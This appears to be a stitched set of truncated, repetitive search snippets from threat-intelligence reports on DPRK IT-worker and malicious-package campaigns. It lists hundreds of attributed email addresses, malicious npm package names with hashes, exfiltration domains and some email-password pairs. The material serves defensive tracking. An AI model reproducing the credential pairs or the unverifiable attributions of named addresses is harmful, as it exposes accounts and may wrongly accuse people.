luishernan1228@gmail.com luislee3108@gmail.com lukaskelley412@gmail.com m.pulliam.0618@gmail.com magic.title.6e4178@gizmotik.com main.dragon0201@gmail.com majkosajben@gmail.com makehasteslowly222@gmail.com makpu…","…to malicious repository kenedyleon350@gmail.com Commits to malicious repository leandro@kasta.io Commits to malicious repository lukasmuller_0925@outlook.com Commits to malicious repository maqsoodssyasirss@gmail.com Commits to malicious repository matsarello@mail.ru Commits to malicious…","DRC Team is not an operator identity. The thread describes it as a fraudulent freelancer facilitation service set up by a group of Serbians, which supplied DPRK IT workers with a Serbian mobile number, identities, laptops and payment systems, and which was hosted on an IP address behind a nondescript login page. The source states that a persona cost between 70 and 300 dollars and arrived with Payoneer, PayPal, Upwork and Freelancer accounts and a real identity, that non-VOIP mobile numbers were paired with Pushbullet and AirDroid so the workers could receive texts, and that more than 150 laptops were in use. The first two accounts are the ones the source says the administrator used for support; the rest it files under persona and payment information. These are the facilitators' accounts as the source presents them, not accounts attributed to any DPRK operator.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 2 commits signed lukaweb24@gmail.com, an address Narcass3 publishes for this group, to github.com/lukadev24, account id 190110874, created on 29 November 2024, with 2 public repositories.","…2026-03-26 graph first seen kenedyleon350@gmail.com tailwind-scroller 2026-03-30 live registry luk.gm.ek@gmail.com tailwind-stylecss-typography 2026-04-03 graph first seen wakiye8356@fengnu.com tailwind-text-fill 2026-04-13…","…@gmail.com johnwadelinson@gmail.com koizatsuo@gmail.com liam.perrin.dev@outlook.com luckyman012357@gmail.com luckysmile0502@gmail.com lunadev823@gmail.com lyappunov19@outlook.com magnus.masculus971114@gmail.com masculus1114@gmail.com mateomuhannad@gmail.com maxwellreshel0709@outlook.com…","…$600 --- [2026-01-26 01:56:37] PC-1234 [image: /uploads/1769392596726-712753089.png] --- [2026-01-29 12:11:01] PC-1234 LUPIBLAME1324@outlook.com --- [2026-01-29 12:13:57] PC-1234 [image: /uploads/1769688836485-779700110.png] --- [2026-01-29 12:16:46] PC-1234 Lupi…","…accounts were registered to this hub and identified in payment platform data. Account Cover Name / Notes Source Evidence LUPIBLAME1324@outlook.com Cover names: \"Muhammad Junaid\" / \"Lupi Blame\" - central hub Payoneer account External 🟢 Confirmed b2bms@outlook.com…","…londonhomesmartagent36691@gmail.com londonpropertyagent33861@gmail.com londonpropertyguide27011@gmail.com luxuryhomebroker77429@gmail.com luxuryprimeagent11914@gmail.com maggiehomes68871@gmail.com mariastanfordakchz04029@hotmail.com…","…londonpropertyagent33861@gmail.com londonpropertyguide27011@gmail.com luxuryhomebroker77429@gmail.com luxuryprimeagent11914@gmail.com maggiehomes68871@gmail.com mariastanfordakchz04029@hotmail.com maximvaluehousings17477@gmail.com metronewhomes21319@gmail.com…","…, randhawamanpreet37@gmail.com , ignusmart@gmail.com , mjlescano@protonmail.com , Pourcheriki@gmail.com , aaronhiroto.bm@gmail.com , lxin6793@gmail.com .…","…nson@gmail.com koizatsuo@gmail.com liam.perrin.dev@outlook.com luckyman012357@gmail.com luckysmile0502@gmail.com lunadev823@gmail.com lyappunov19@outlook.com magnus.masculus971114@gmail.com masculus1114@gmail.com mateomuhannad@gmail.com maxwellreshel0709@outlook.com mr.new0509@gmail.com myk…","…brentjeremynel@gmail.com - onetouch0525@gmail.com - kevinlee2821@gmail.com - leondragandevelop@gmail.com - eric2022412@gmail.com - ma.liguo@outlook.com - donatelo212dunccine@gmail.com - ernestpapyan@gmail.com - topsmartpro@prolocalize.com - yatsukalbert@outlook.com -…","…evpro001@gmail.com brentjeremynel@gmail.com onetouch0525@gmail.com kevinlee2821@gmail.com leondragandevelop@gmail.com eric2022412@gmail.com ma.liguo@outlook.com donatelo212dunccine@gmail.com ernestpapyan@gmail.com topsmartpro@prolocalize.com yatsukalbert@outlook.com talentdev610@gmail.com leonpower1…","…(AM) rockstar96954@gmail.com (RC) hundredup2023@gmail.com (TP) phoenixfire471@gmail.com (MM) awesomium430@gmail.com (AU) maestro2819@gmail.com (SI) rodriguezjamesdaniel0807@gmail.com (SI) satoshiyama14@gmail.com (ST) richardkdavis45@gmail.com (AC) thedron101@gmail.com…","…Year in Review nandawsu58@hotmail.com email malware N/A August 2025 DPRK malware distributor GitLab.com account Year in Review magalhaesbruno236@gmail.com email malware N/A August 2025 DPRK malware distributor GitLab.com account Year in Review martytowne03@gmail.com email malware N/A August…","…stormdev0418 jinping0822 davisjosephinewnk jaksonas11 liamnevin Email Addresses # denniswinter727@outlook.com magalhaesbruno236@gmail.com jacksonblau11ai@gmail.com jinping0821@outlook.com rodolfguerr@gmail.com david262721@outlook.com chulovskaolena@outlook.com…","…services ahmadbahai07@gmail.com drgru854@gmail.com jack.murray.tf7@gmail.com jackhill2765@gmail.com reichenausteve@gmail.com magalhaesbruno236@gmail.com stromdev712418@gmail.com trungtrinh0818@gmail.com Markdown Repositories hosting malicious code https[ ://…","…londonpropertyguide27011@gmail.com luxuryhomebroker77429@gmail.com luxuryprimeagent11914@gmail.com maggiehomes68871@gmail.com mariastanfordakchz04029@hotmail.com maximvaluehousings17477@gmail.com metronewhomes21319@gmail.com…","…n3458@gmail.com luis.padberg.702@gmail.com luishernan1228@gmail.com luislee3108@gmail.com lukaskelley412@gmail.com m.pulliam.0618@gmail.com magic.title.6e4178@gizmotik.com main.dragon0201@gmail.com majkosajben@gmail.com makehasteslowly222@gmail.com makpushkin1224@gmail.com maksymberezhnoy95@gmail.com maksymcha…","…@gmail.com liam.perrin.dev@outlook.com luckyman012357@gmail.com luckysmile0502@gmail.com lunadev823@gmail.com lyappunov19@outlook.com magnus.masculus971114@gmail.com masculus1114@gmail.com mateomuhannad@gmail.com maxwellreshel0709@outlook.com mr.new0509@gmail.com mykytafullstack@gmail.com naruhitok…","…danhphoze_2364@hotmail.com[email protected] hangquan5594sxbf72@hotmail.com[email protected] mahamaslam805@gmail.com[email protected] adamvenord8@gmail.com[email protected] Appendix B: Software Indicators The following software versions have been…","…1dream@gmail.com james.jenaty031@gmail.com quangtu676957e1525ncz@hotmail.com danhphoze_2364@hotmail.com hangquan5594sxbf72@hotmail.com mahamaslam805@gmail.com adamvenord8@gmail.com Appendix B: Software Indicators The following software versions have been observed in the list of installed…","…email insider N/A N/A Threat actor persona email 4 hadiulislam391@gmail.com email insider N/A N/A Threat actor persona email 4 mahdi39980@gmail.com email insider N/A N/A Threat actor persona email 4 mahdiupwork2002@gmail.com email insider N/A N/A Threat actor persona email 4…","…email insider N/A N/A Threat actor persona email 4 mahdi39980@gmail.com email insider N/A N/A Threat actor persona email 4 mahdiupwork2002@gmail.com email insider N/A N/A Threat actor persona email 4 mdmahdiul@gmail.com email insider N/A N/A Threat actor persona email 4…","…Year in Review afaq91169@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review mahmodghnaj1@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review look.as.united@gmail.com email malware N/A…","…@gmail.com luishernan1228@gmail.com luislee3108@gmail.com lukaskelley412@gmail.com m.pulliam.0618@gmail.com magic.title.6e4178@gizmotik.com main.dragon0201@gmail.com majkosajben@gmail.com makehasteslowly222@gmail.com makpushkin1224@gmail.com maksymberezhnoy95@gmail.com maksymchabaniuk7@gmail.com mamonimi…","…gmail.com luislee3108@gmail.com lukaskelley412@gmail.com m.pulliam.0618@gmail.com magic.title.6e4178@gizmotik.com main.dragon0201@gmail.com majkosajben@gmail.com makehasteslowly222@gmail.com makpushkin1224@gmail.com maksymberezhnoy95@gmail.com maksymchabaniuk7@gmail.com mamonimino205@gmail.com manric…","…2@hotmail.com johnwooaugtwe@hotmail.com andon211bala@yahoo.com blazhenov525@gmail.com annaparova989@outlook.com joanahillora843@outlook.com makdanger11220@outlook.com makdanger3434@outlook.com maksim1029lv@outlook.com maksimbrave1030@gmail.com maksimbrave1030@outlook.com romancondo1278@outlook.com safrano…","…@hotmail.com andon211bala@yahoo.com blazhenov525@gmail.com annaparova989@outlook.com joanahillora843@outlook.com makdanger11220@outlook.com makdanger3434@outlook.com maksim1029lv@outlook.com maksimbrave1030@gmail.com maksimbrave1030@outlook.com romancondo1278@outlook.com safranov512@yahoo.com slavomir829…","…gmail.com lukaskelley412@gmail.com m.pulliam.0618@gmail.com magic.title.6e4178@gizmotik.com main.dragon0201@gmail.com majkosajben@gmail.com makehasteslowly222@gmail.com makpushkin1224@gmail.com maksymberezhnoy95@gmail.com maksymchabaniuk7@gmail.com mamonimino205@gmail.com manricvilegas@gmail.com marcosdpeon…","…l.com artemyaroshenko540@gmail.com ratushniakoleksii8@gmail.com sparukgena@gmail.com joshuagosney.dev.web@gmail.com hungpham.web3@gmail.com mak.martynenko22@gmail.com mark.developer.2006@gmail.com kevin.tsang.coder@gmail.com henry.zhang@gmail.com viacheslay.zadorozhnyi3863@gmail.com lucasli.dream1218917@g…","…l.com m.pulliam.0618@gmail.com magic.title.6e4178@gizmotik.com main.dragon0201@gmail.com majkosajben@gmail.com makehasteslowly222@gmail.com makpushkin1224@gmail.com maksymberezhnoy95@gmail.com maksymchabaniuk7@gmail.com mamonimino205@gmail.com manricvilegas@gmail.com marcosdpeon@proton.me mark.palmer118…","…yahoo.com blazhenov525@gmail.com annaparova989@outlook.com joanahillora843@outlook.com makdanger11220@outlook.com makdanger3434@outlook.com maksim1029lv@outlook.com maksimbrave1030@gmail.com maksimbrave1030@outlook.com romancondo1278@outlook.com safranov512@yahoo.com slavomir829@hotmail.com slavomir8296…","…ail.com annaparova989@outlook.com joanahillora843@outlook.com makdanger11220@outlook.com makdanger3434@outlook.com maksim1029lv@outlook.com maksimbrave1030@gmail.com maksimbrave1030@outlook.com romancondo1278@outlook.com safranov512@yahoo.com slavomir829@hotmail.com slavomir829612@hotmail.com slavomir829…","…ook.com joanahillora843@outlook.com makdanger11220@outlook.com makdanger3434@outlook.com maksim1029lv@outlook.com maksimbrave1030@gmail.com maksimbrave1030@outlook.com romancondo1278@outlook.com safranov512@yahoo.com slavomir829@hotmail.com slavomir829612@hotmail.com slavomir829612@outlook.com talenteddeve…","…l.com magic.title.6e4178@gizmotik.com main.dragon0201@gmail.com majkosajben@gmail.com makehasteslowly222@gmail.com makpushkin1224@gmail.com maksymberezhnoy95@gmail.com maksymchabaniuk7@gmail.com mamonimino205@gmail.com manricvilegas@gmail.com marcosdpeon@proton.me mark.palmer11892@gmail.com markdecorbins@g…","…motik.com main.dragon0201@gmail.com majkosajben@gmail.com makehasteslowly222@gmail.com makpushkin1224@gmail.com maksymberezhnoy95@gmail.com maksymchabaniuk7@gmail.com mamonimino205@gmail.com manricvilegas@gmail.com marcosdpeon@proton.me mark.palmer11892@gmail.com markdecorbins@gmail.com markovicstef998@gm…","…how are you? We're Kanggye Forest Information Tech Company. We sent 2000 (1980 after fee) USD to Ecoskyfarmsllc9@outlook.com from maksymshtun.llc@outlook.com on 2026-02-07. Could you please confirm it? Thank you! --- [2026-02-07 01:33:00] PC-1234 [image:…","…littebaby232355@gmail.com lucastyler195@gmail.com luis.fernando.dev1214@gmail.com luka1291@outlook.com luka1293@outlook.com malarkeyclayton5@gmail.com marcsanford22@gmail.com marinella@basemindway.com matiushkodenys@gmail.com matheuslealcardoso86@gmail.com…","…mail.com majkosajben@gmail.com makehasteslowly222@gmail.com makpushkin1224@gmail.com maksymberezhnoy95@gmail.com maksymchabaniuk7@gmail.com mamonimino205@gmail.com manricvilegas@gmail.com marcosdpeon@proton.me mark.palmer11892@gmail.com markdecorbins@gmail.com markovicstef998@gmail.com martsangel017@gm…","…lianhung21@hotmail.com[email protected] lianhung21@gmail.com[email protected] mano12@gmail.com[email protected] liuqimi21@gmail.com[email protected] alex@bellsstudio.site[email protected] libfredrick@gmail.com[email protected]…","…IOCs. Lian Hung: ---------------------------------------- Emails: ayusuphmhina@gmail.com lianhung21@hotmail.com lianhung21@gmail.com mano12@gmail.com liuqimi21@gmail.com alex@bellsstudio.site libfredrick@gmail.com michaeldein243@gmail.com josephdgray211@hotmail.com marogus211@outlook.com…","…Jay231 kylecollins412@gmail.com p, kyle0412 leonohlin0123@gmail.com leodavinci liam.pilips.hub@gmail.com ourcountry manricvilegas@gmail.com int mastering0429@gmail.com Dragon2002, dragon2002 max.cricle@gmail.com asdasdasd philip.henry.0802@gmail.com 123qwe!@#QWE,…","…Git mirror developer identity 2 brankojovovic99@gmail.com email insider N/A N/A Administrative/testing accounts on abused services 2 manuetuazon.work@gmail.com email insider N/A N/A Administrative/testing accounts on abused services 2 upwork.management.whm@outlook.com email insider N/A N/A…","…alexwork455@gmail.com - ananphoon823@gmail.com - andika.riyan@gmail.com - billyrowan1980@gmail.com - blockchainlover2019@gmail.com - maodan466@gmail.com - putnikdeveloperbg@gmail.com - spaceboy00@gmail.com - topstack2021a@gmail.com - 0xquantech - t.me/MaoDan007 (ID: 5089966453) •…","…repository leandro@kasta.io Commits to malicious repository lukasmuller_0925@outlook.com Commits to malicious repository maqsoodssyasirss@gmail.com Commits to malicious repository matsarello@mail.ru Commits to malicious repository michalk001126@gmail.com Commits to malicious…","…email insider N/A N/A Threat actor persona email 4 givometeq@mentonit.net email insider N/A N/A Threat actor persona email 4 maradanod.favomubo@vintomaper.com email insider N/A N/A Threat actor persona email 4 humblechoice.dev@gmail.com email insider N/A N/A Threat actor persona email 4…","…Review xavieryetikqpir36636@outlook.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review marcello.armand.tf7@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review gabriel.sanchez255@outlook.com email malware…","…email insider N/A N/A Synthetic persona email 2 ivanmatic.fs@outlook.com email insider N/A N/A Synthetic persona email 2 marcelpaw.lowski@outlook.com email insider N/A N/A Synthetic persona email 2 tomislavbozic.work@outlook.com email insider N/A N/A Synthetic persona email 2…","…df4970a67c9caae5dd2e4603ea726f7624a4c17bb197a1039985a10ff9b56923 2026-09-04 ulid-intel (3.0.1) 2026-09-04 marciajedrek586 <marciajedrek586@outlook.com> 2026-09-04 ulid-intel (2.12.3) 2026-09-04 marciajedrek586 <marciajedrek586@outlook.com> pino.stream WScript.Shell…","…(1.2.4) 2026-09-05 spiderman9030 <spiderman9030@proton.me> 2026-09-04 ulid-intel (3.0.1) 2026-09-04 marciajedrek586 <marciajedrek586@outlook.com> 2026-09-04 ulid-intel (2.12.3) 2026-09-04 marciajedrek586 <marciajedrek586@outlook.com> pino.stream WScript.Shell…","…2@gmail.com makpushkin1224@gmail.com maksymberezhnoy95@gmail.com maksymchabaniuk7@gmail.com mamonimino205@gmail.com manricvilegas@gmail.com marcosdpeon@proton.me mark.palmer11892@gmail.com markdecorbins@gmail.com markovicstef998@gmail.com martsangel017@gmail.com marynashavkun@gmail.com masculus1114@g…","…luis.fernando.dev1214@gmail.com luka1291@outlook.com luka1293@outlook.com malarkeyclayton5@gmail.com marcsanford22@gmail.com marinella@basemindway.com matiushkodenys@gmail.com matheuslealcardoso86@gmail.com matheusserra0133@gmail.com…","…$2,000 - Flat fee - berinabandic98@gmail.com Berina Bosnia and Herzegovina United States $35/hour, 40 hours/week - maria@gmail.com Maria Argentina United States $35/hour, 40 hours/week - Choe Ju Hyon dangloi@gmail.com LoiDang Vietnam United…","…londonpropertyguide27011@gmail.com luxuryhomebroker77429@gmail.com luxuryprimeagent11914@gmail.com maggiehomes68871@gmail.com mariastanfordakchz04029@hotmail.com maximvaluehousings17477@gmail.com metronewhomes21319@gmail.com metropropertiesadvisor00082@gmail.com…","…luka1291@outlook.com luka1293@outlook.com malarkeyclayton5@gmail.com marcsanford22@gmail.com marinella@basemindway.com matiushkodenys@gmail.com matheuslealcardoso86@gmail.com matheusserra0133@gmail.com meirjacob727@gmail.com…","…a625ae6880b2f43c5986ee9b8039f1622b03eb41597ca5197718f096c1072d3e 2026-09-29 dotenv-precheck (1.1.0) 2026-09-29 marinning <marinning@proton.me> 99d3974d1b32c222599cb3e303823e6457171b18e31fcdc46bff7162d8adb33c 2026-09-29 dotenv-precheck (1.0.0) 2026-09-29 marinning…","…chai-as-chain-v2 2026-03-25 live registry corvettdan1963@inlook.cloud chai-as-char 2026-04-18 live registry mark.holyfield@outlook.com chai-as-elevated 2026-04-20 live registry hello@jsonspack.com chai-as-encrypted 2026-03-25 graph first seen…","…noy95@gmail.com maksymchabaniuk7@gmail.com mamonimino205@gmail.com manricvilegas@gmail.com marcosdpeon@proton.me mark.palmer11892@gmail.com markdecorbins@gmail.com markovicstef998@gmail.com martsangel017@gmail.com marynashavkun@gmail.com masculus1114@gmail.com masonrose622@gmail.com masraven93@gmail.co…","…ail.com ratushniakoleksii8@gmail.com sparukgena@gmail.com joshuagosney.dev.web@gmail.com hungpham.web3@gmail.com mak.martynenko22@gmail.com mark.developer.2006@gmail.com kevin.tsang.coder@gmail.com henry.zhang@gmail.com viacheslay.zadorozhnyi3863@gmail.com lucasli.dream1218917@gmail.com kenjitamm@gmail.com s…","…Jin) Emails: --------------------------------- darkb761216@gmail.com dragonrhm0817@gmail.com star710928@gmail.com yz.demix@gmail.com marketing.rep@universalinsuranceplc.com shojokur@gmail.com Personas: --------------------------------- Penguin Ui hong kong Pen…","…abaniuk7@gmail.com mamonimino205@gmail.com manricvilegas@gmail.com marcosdpeon@proton.me mark.palmer11892@gmail.com markdecorbins@gmail.com markovicstef998@gmail.com martsangel017@gmail.com marynashavkun@gmail.com masculus1114@gmail.com masonrose622@gmail.com masraven93@gmail.com master.jupitor@gmail.com…","…$30/hour, 40 hours/week - haleyhtnt1122@gmail.com Haley Vietnam United States $35/hour, 40 hours/week - Ri Kwang Hun marko.zrinjanin.uw@gmail.com MarkoZrin Serbia United States $30/hour, 20 hours/week 2 months marko.zrinjanin.uw@gmail.com MarkoZrin Serbia Ireland…","…1224@gmail.com maksymberezhnoy95@gmail.com maksymchabaniuk7@gmail.com mamonimino205@gmail.com manricvilegas@gmail.com marcosdpeon@proton.me mark.palmer11892@gmail.com markdecorbins@gmail.com markovicstef998@gmail.com martsangel017@gmail.com marynashavkun@gmail.com masculus1114@gmail.com masonrose622@gmail…","…* Same profile photo as BTC415 and luckypenny1632333 * As such, also used by Steven Leal * Telegram: https://t.me/marksantiago02 * Email: marksantiago0929@gmail.com ----------------- ### Steven Leal / Mitsuru Kudo * GitHub 1: https://github.com/steven228312 * GitHub 2:…","…developer accounts Year in Review kvashinalexander@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review markstevemark85@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review oleksandrbokii963@gmail.com email malware N/A N/A DPRK malware…","…iacheslay.zadorozhnyi3863@gmail.com lucasli.dream1218917@gmail.com kenjitamm@gmail.com shan.shan.eth1994@gmail.com daniellee.dev1@gmail.com markuslaandream1218917@gmail.com hasibullahnasseri986@gmail.com CharlieWang1218917.dream@proton.me andriisokyrka@gmail.com dreamit.dev1218917@gmail.com stevenbakarich607@gm…","…email insider N/A N/A Synthetic persona email 2 izakholmberg12@outlook.com email insider N/A N/A Synthetic persona email 2 markusvillig20@outlook.com email insider N/A N/A Synthetic persona email 2 reigojakobson45@outlook.com email insider N/A N/A Synthetic persona email 2…","…il.com mano12@gmail.com liuqimi21@gmail.com alex@bellsstudio.site libfredrick@gmail.com michaeldein243@gmail.com josephdgray211@hotmail.com marogus211@outlook.com briandwingo55@yahoo.com silverbeach613@gmail.com wilsonliuq2111@outlook.com munjin22@gmail.com guangheli211@gmail.com wilsondovi21@gmail.co…","…2026-10-05 solidity-map (2.21.0) 2026-10-05 marshalleliuux500 <marshalleliuux500@hotmail.com> 7e4c6d76f1d845f752e37876a2d3f773996719f33c2d1c282e0a84b04444efeb 2026-10-05 solidity-gas-watcher (2.21.0) 2026-10-05…","…eric.c01.recruit@gmail.com hiring.dev.hr@gmail.com carrie.bale.recruit@gmail.com emilyjobs.rec2023@gmail.com mars.recruiting.hiring@gmail.com shauncepla.hrteam@gmail.com grace.chen.recruitment@gmail.com grace107jobs@gmail.com abdulrahman.nasser.hr@gmail.com…","…shauncepla.hrteam@gmail.com grace.chen.recruitment@gmail.com grace107jobs@gmail.com abdulrahman.nasser.hr@gmail.com marthamoon014@gmail.com sofia.helman@outlook.com supercrazybug.team@gmail.com maryanaaaa.hrteam@gmail.com topdev0921@gmail.com…","…account Year in Review peter@trovastra.com email malware N/A August 2025 DPRK malware distributor GitLab.com account Year in Review martinez@trovastra.com email malware N/A August 2025 DPRK malware distributor GitLab.com account Year in Review peterforward@trovastra.com email malware N/A…","…@gmail.com bengrantsoft@gmail.com sotaro.yoshimoto@gmail.com proguardseo@gmail.com justin424w@gmail.com satoshi.fukuzumi309@gmail.com martinjosipovic17@gmail.com venturewell@gmail.com satoshi.fukuzumi47@gmail.com blocklimax@gmail.com dcnc336@gmail.com myronenkoyaroslav4@gmail.com avoroy@biztech…","…ino205@gmail.com manricvilegas@gmail.com marcosdpeon@proton.me mark.palmer11892@gmail.com markdecorbins@gmail.com markovicstef998@gmail.com martsangel017@gmail.com marynashavkun@gmail.com masculus1114@gmail.com masonrose622@gmail.com masraven93@gmail.com master.jupitor@gmail.com master97216@gmail.com m…","…Year in Review magalhaesbruno236@gmail.com email malware N/A August 2025 DPRK malware distributor GitLab.com account Year in Review martytowne03@gmail.com email malware N/A August 2025 DPRK malware distributor GitLab.com account Year in Review peter@trovastra.com email malware N/A August…","…For example, marvel714jm@gmail.com and jimmr6587@gmail.com have been used to register the paxos-video-interview.com and skill-share.org domains, respectively. Finally, some…","…abdulrahman.nasser.hr@gmail.com marthamoon014@gmail.com sofia.helman@outlook.com supercrazybug.team@gmail.com maryanaaaa.hrteam@gmail.com topdev0921@gmail.com natalie.dev.hr@gmail.com Malicious Bitbucket Repositories # https://bitbucket.org/notion-dex/ultrax…","…ilegas@gmail.com marcosdpeon@proton.me mark.palmer11892@gmail.com markdecorbins@gmail.com markovicstef998@gmail.com martsangel017@gmail.com marynashavkun@gmail.com masculus1114@gmail.com masonrose622@gmail.com masraven93@gmail.com master.jupitor@gmail.com master97216@gmail.com mastering0429@gmail.com m…","…email insider N/A N/A Threat actor-controlled email 1 lovinmadrid@hotmail.com email insider N/A N/A Threat actor-controlled email 1 marza0219@hotmail.com email insider N/A N/A Threat actor-controlled email 1 mazheng225@outlook.com email insider N/A N/A Threat actor-controlled email 1…","…ok.com luckyman012357@gmail.com luckysmile0502@gmail.com lunadev823@gmail.com lyappunov19@outlook.com magnus.masculus971114@gmail.com masculus1114@gmail.com mateomuhannad@gmail.com maxwellreshel0709@outlook.com mr.new0509@gmail.com mykytafullstack@gmail.com naruhitokaide@gmail.com nektario…","…peon@proton.me mark.palmer11892@gmail.com markdecorbins@gmail.com markovicstef998@gmail.com martsangel017@gmail.com marynashavkun@gmail.com masculus1114@gmail.com masonrose622@gmail.com masraven93@gmail.com master.jupitor@gmail.com master97216@gmail.com mastering0429@gmail.com matchingcube@gmail.com m…","…email insider N/A N/A Threat actor persona email 4 ferwerwe6@gmail.com email insider N/A N/A Threat actor persona email 4 maskymlap@gmail.com email insider N/A N/A Threat actor persona email 4 alexsam.dev@gmail.com email insider N/A N/A Threat actor persona email 4…","…mer11892@gmail.com markdecorbins@gmail.com markovicstef998@gmail.com martsangel017@gmail.com marynashavkun@gmail.com masculus1114@gmail.com masonrose622@gmail.com masraven93@gmail.com master.jupitor@gmail.com master97216@gmail.com mastering0429@gmail.com matchingcube@gmail.com mateomuhannad@gmail.com…","…decorbins@gmail.com markovicstef998@gmail.com martsangel017@gmail.com marynashavkun@gmail.com masculus1114@gmail.com masonrose622@gmail.com masraven93@gmail.com master.jupitor@gmail.com master97216@gmail.com mastering0429@gmail.com matchingcube@gmail.com mateomuhannad@gmail.com matthewbadertscher@gm…","…martsangel017@gmail.com marynashavkun@gmail.com masculus1114@gmail.com masonrose622@gmail.com masraven93@gmail.com master.jupitor@gmail.com master97216@gmail.com mastering0429@gmail.com matchingcube@gmail.com mateomuhannad@gmail.com matthewbadertscher@gmail.com matti1128zhang@gmail.com max.cricle@gma…","…Here's a small sample: masterdev1027@gmail.com[email protected] fulldev317@gmail.com[email protected] codeknight0707@gmail.com[email protected]…","…hasan.musaj312@protonmail.com - toshyodev@outlook.com - slark0704@gmail.com - helios9116@outlook.com - cleanlake412@hotmail.com - masterdev1027@gmail.com - github.com/smartfox1203 - github.com/hellovlady - github.com/fulldev317 - github.com/Zhang-777 --- # [MSMT: The DPRK’s Violation…","…Here's a small sample: masterdev1027@gmail.com fulldev317@gmail.com codeknight0707@gmail.com seniordev9726@outlook.com dreamcomes0704@gmail.com topdev1228@protonmail.com helios0912@outlo…","…p, kyle0412 leonohlin0123@gmail.com leodavinci liam.pilips.hub@gmail.com ourcountry manricvilegas@gmail.com int mastering0429@gmail.com Dragon2002, dragon2002 max.cricle@gmail.com asdasdasd philip.henry.0802@gmail.com 123qwe!@#QWE, hornetqwer…","…arkovicstef998@gmail.com martsangel017@gmail.com marynashavkun@gmail.com masculus1114@gmail.com masonrose622@gmail.com masraven93@gmail.com master.jupitor@gmail.com master97216@gmail.com mastering0429@gmail.com matchingcube@gmail.com mateomuhannad@gmail.com matthewbadertscher@gmail.com matti1128zhang@gm…","…email insider N/A N/A Synthetic persona email 2 reigojakobson45@outlook.com email insider N/A N/A Synthetic persona email 2 masudtarik69@gmail.com email insider N/A N/A Synthetic persona email 2 vaikokangur45@outlook.com email insider N/A N/A Synthetic persona email 2…","…m masculus1114@gmail.com masonrose622@gmail.com masraven93@gmail.com master.jupitor@gmail.com master97216@gmail.com mastering0429@gmail.com matchingcube@gmail.com mateomuhannad@gmail.com matthewbadertscher@gmail.com matti1128zhang@gmail.com max.cricle@gmail.com maxb47163@gmail.com maximpdev@gmail.com…","…mail.com luckysmile0502@gmail.com lunadev823@gmail.com lyappunov19@outlook.com magnus.masculus971114@gmail.com masculus1114@gmail.com mateomuhannad@gmail.com maxwellreshel0709@outlook.com mr.new0509@gmail.com mykytafullstack@gmail.com naruhitokaide@gmail.com nektarioskampourakis571@gmail.com…","…m masonrose622@gmail.com masraven93@gmail.com master.jupitor@gmail.com master97216@gmail.com mastering0429@gmail.com matchingcube@gmail.com mateomuhannad@gmail.com matthewbadertscher@gmail.com matti1128zhang@gmail.com max.cricle@gmail.com maxb47163@gmail.com maximpdev@gmail.com maxivinc0507@gmail.com m…","…email insider N/A N/A Synthetic persona email 2 rafael.ratkovic@outlook.com email insider N/A N/A Synthetic persona email 2 mateusz.moczar@outlook.com email insider N/A N/A Synthetic persona email 2 nadoyankovic@outlook.com email insider N/A N/A Synthetic persona email 2…","…luka1293@outlook.com malarkeyclayton5@gmail.com marcsanford22@gmail.com marinella@basemindway.com matiushkodenys@gmail.com matheuslealcardoso86@gmail.com matheusserra0133@gmail.com meirjacob727@gmail.com melnikoleg995@gmail.com melnicenkosergij119@gmail.com…","…marcsanford22@gmail.com marinella@basemindway.com matiushkodenys@gmail.com matheuslealcardoso86@gmail.com matheusserra0133@gmail.com meirjacob727@gmail.com melnikoleg995@gmail.com melnicenkosergij119@gmail.com michal.kaim99@outlook.com…","…fa6c1bc2a24d6e4f2008313b5723e300e6bd634e795f65d9c8df5a547da5216e 2026-08-07 ts-utility-plus (1.3.2) 2026-08-07 mathias318 <mathias.up22@gmail.com> cloudflare.com fastly.net keyIcon.com akamai.net cloudfront.net gcorelabs.com…","…luka1291@outlook.com luka1293@outlook.com malarkeyclayton5@gmail.com marcsanford22@gmail.com marinella@basemindway.com matiushkodenys@gmail.com matheuslealcardoso86@gmail.com matheusserra0133@gmail.com meirjacob727@gmail.com melnikoleg995@gmail.com…","…masraven93@gmail.com master.jupitor@gmail.com master97216@gmail.com mastering0429@gmail.com matchingcube@gmail.com mateomuhannad@gmail.com matthewbadertscher@gmail.com matti1128zhang@gmail.com max.cricle@gmail.com maxb47163@gmail.com maximpdev@gmail.com maxivinc0507@gmail.com maxstevens.st@gmail.com maybex…","…legend_dev@outlook.com liko.sonexarth@gmail.com liko.sonexarth@hotmail.com longines0924@gmail.com lujindane@outlook.com matthewhall14541@gmail.com niko.sonexarth@gmail.com niko.sonexarth@hotmail.com oscar.vetres127@europe.com oscar.vetres127@gmail.com…","…) jonas-prettier-logger-2.0.1.tgz exfil: api.mywalletsss.store 2026-03-15 21:12:28 pretty-loggers (v0.1.4) matthiasdev2026 ( matthiasdev2026@outlook.com ) pretty-loggers-0.1.4.tgz exfil: api.fivefingerz.dev 2026-03-15 20:44:02 pretty-loggers (v0.1.3) matthiasdev2026 (…","…rusty102 / 397440130744320035 Telegram: idioRusty Telegram URL: https://t.me/anotherrusty Email: nailrusty.dev@gmail.com Email: matthiasli.mt@gmail.com Name & Address (Fake): Mathias Li Address: 4515 Coronado St.…","…jupitor@gmail.com master97216@gmail.com mastering0429@gmail.com matchingcube@gmail.com mateomuhannad@gmail.com matthewbadertscher@gmail.com matti1128zhang@gmail.com max.cricle@gmail.com maxb47163@gmail.com maximpdev@gmail.com maxivinc0507@gmail.com maxstevens.st@gmail.com maybex66@gmail.com mbenz1012011…","…Burndai, Derek Lee, Raptor, Raptor1001, burndai, ethlocker, unlocker - choi.link227@gmail.com: Ryan Choi - bitbaby888@gmail.com - mauro@blueberry.garden (blueChamel) - pwongexcal@gmail.com (0xchamel) - zhaoa4317@gmail.com (zhChameleon) - t.me/chamel92 (ID: 6635242888) •…","…Year in Review suryaedg88@hotmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review maurostaver9@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review pleasemeup214@gmail.com email malware 